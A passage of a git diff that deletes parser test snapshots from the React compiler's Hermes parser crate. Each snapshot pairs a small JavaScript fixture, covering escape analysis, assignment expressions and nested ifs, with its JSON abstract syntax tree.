-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-not-conditional-test.js
----
-Input:
-function Component(props) {
-  const x = [props.a];
-  const y = x ? props.b : props.c;
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        48
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      63,
-                      64
-                    ]
-                  },
-                  "alternate": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        77,
-                        82
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        83,
-                        84
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      77,
-                      84
-                    ]
-                  },
-                  "consequent": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        72
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      67,
-                      74
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    63,
-                    84
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  59,
-                  84
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              85
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                95,
-                96
-              ]
-            },
-            "loc": null,
-            "range": [
-              88,
-              97
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          99
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        99
-      ],
-      "loc": null,
-      "range": [
-        0,
-        99
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    99
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-if-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-if-test.js.snap
deleted file mode 100644
index ff520a92b259..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-if-test.js.snap
+++ /dev/null
@@ -1,345 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-not-if-test.js
----
-Input:
-function Component(props) {
-  const x = [props.a];
-  let y;
-  if (x) {
-    y = props.b;
-  } else {
-    y = props.c;
-  }
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        48
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    58
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  57,
-                  58
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              59
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                66,
-                67
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        75,
-                        76
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          79,
-                          84
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          85,
-                          86
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        79,
-                        86
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      75,
-                      86
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    75,
-                    87
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                69,
-                91
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        103,
-                        104
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          107,
-                          112
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          113,
-                          114
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        107,
-                        114
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      103,
-                      114
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    103,
-                    115
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                97,
-                119
-              ]
-            },
-            "loc": null,
-            "range": [
-              62,
-              119
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                129,
-                130
-              ]
-            },
-            "loc": null,
-            "range": [
-              122,
-              131
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          133
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        133
-      ],
-      "loc": null,
-      "range": [
-        0,
-        133
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    133
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-switch-case.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-switch-case.js.snap
deleted file mode 100644
index 661cc40f6aee..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-switch-case.js.snap
+++ /dev/null
@@ -1,347 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-not-switch-case.js
----
-Input:
-function Component(props) {
-  const a = [props.a];
-  let x = props.b;
-  switch (props.c) {
-    case a: {
-      x = props.d;
-    }
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        48
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      61,
-                      66
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      67,
-                      68
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    61,
-                    68
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  68
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              69
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  80,
-                  85
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  86,
-                  87
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                80,
-                87
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    100,
-                    101
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              111,
-                              112
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                115,
-                                120
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "d",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                121,
-                                122
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              115,
-                              122
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            111,
-                            122
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          111,
-                          123
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      103,
-                      129
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  95,
-                  129
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              72,
-              133
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                143,
-                144
-              ]
-            },
-            "loc": null,
-            "range": [
-              136,
-              145
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          147
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        147
-      ],
-      "loc": null,
-      "range": [
-        0,
-        147
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    147
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-switch-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-switch-test.js.snap
deleted file mode 100644
index 29058c823b2f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-switch-test.js.snap
+++ /dev/null
@@ -1,327 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-not-switch-test.js
----
-Input:
-function Component(props) {
-  const a = [props.a];
-  let x = props.b;
-  switch (a) {
-    case true: {
-      x = props.c;
-    }
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        48
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      61,
-                      66
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      67,
-                      68
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    61,
-                    68
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  68
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              69
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                80,
-                81
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "BooleanLiteral",
-                  "value": true,
-                  "loc": null,
-                  "range": [
-                    94,
-                    98
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              108,
-                              109
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                112,
-                                117
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                118,
-                                119
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              112,
-                              119
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            108,
-                            119
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          120
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      100,
-                      126
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  89,
-                  126
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              72,
-              130
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                140,
-                141
-              ]
-            },
-            "loc": null,
-            "range": [
-              133,
-              142
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          144
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        144
-      ],
-      "loc": null,
-      "range": [
-        0,
-        144
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    144
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@expression-with-assignment-dynamic.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@expression-with-assignment-dynamic.js.snap
deleted file mode 100644
index 42dcd00aad52..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@expression-with-assignment-dynamic.js.snap
+++ /dev/null
@@ -1,184 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/expression-with-assignment-dynamic.js
----
-Input:
-function f(y) {
-  let x = y;
-  return x + (x = 2) + x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "f",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "y",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            12
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    22,
-                    23
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    26,
-                    27
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  22,
-                  27
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              18,
-              28
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "operator": "+",
-                "right": {
-                  "type": "AssignmentExpression",
-                  "operator": "=",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      44
-                    ]
-                  },
-                  "right": {
-                    "type": "NumericLiteral",
-                    "value": 2.0,
-                    "loc": null,
-                    "range": [
-                      47,
-                      48
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    43,
-                    48
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  38,
-                  49
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  52,
-                  53
-                ]
-              },
-              "loc": null,
-              "range": [
-                38,
-                53
-              ]
-            },
-            "loc": null,
-            "range": [
-              31,
-              54
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          14,
-          56
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        56
-      ],
-      "loc": null,
-      "range": [
-        0,
-        56
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    56
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@expression-with-assignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@expression-with-assignment.js.snap
deleted file mode 100644
index c88c52f59563..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@expression-with-assignment.js.snap
+++ /dev/null
@@ -1,172 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/expression-with-assignment.js
----
-Input:
-function f() {
-  let x = 1;
-  return x + (x = 2) + x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "f",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    21,
-                    22
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  21,
-                  26
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              17,
-              27
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "operator": "+",
-                "right": {
-                  "type": "AssignmentExpression",
-                  "operator": "=",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      42,
-                      43
-                    ]
-                  },
-                  "right": {
-                    "type": "NumericLiteral",
-                    "value": 2.0,
-                    "loc": null,
-                    "range": [
-                      46,
-                      47
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    42,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  37,
-                  48
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  51,
-                  52
-                ]
-              },
-              "loc": null,
-              "range": [
-                37,
-                52
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          13,
-          55
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        55
-      ],
-      "loc": null,
-      "range": [
-        0,
-        55
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    55
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@extend-scopes-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@extend-scopes-if.js.snap
deleted file mode 100644
index 44c0829251e4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@extend-scopes-if.js.snap
+++ /dev/null
@@ -1,365 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/extend-scopes-if.js
----
-Input:
-function foo(a, b, c) {
-  let x = [];
-  if (a) {
-    if (b) {
-      if (c) {
-        x.push(0);
-      }
-    }
-  }
-  if (x.length) {
-    return x;
-  }
-  return null;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    34,
-                    36
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  36
-                ]
-              }
-            ],
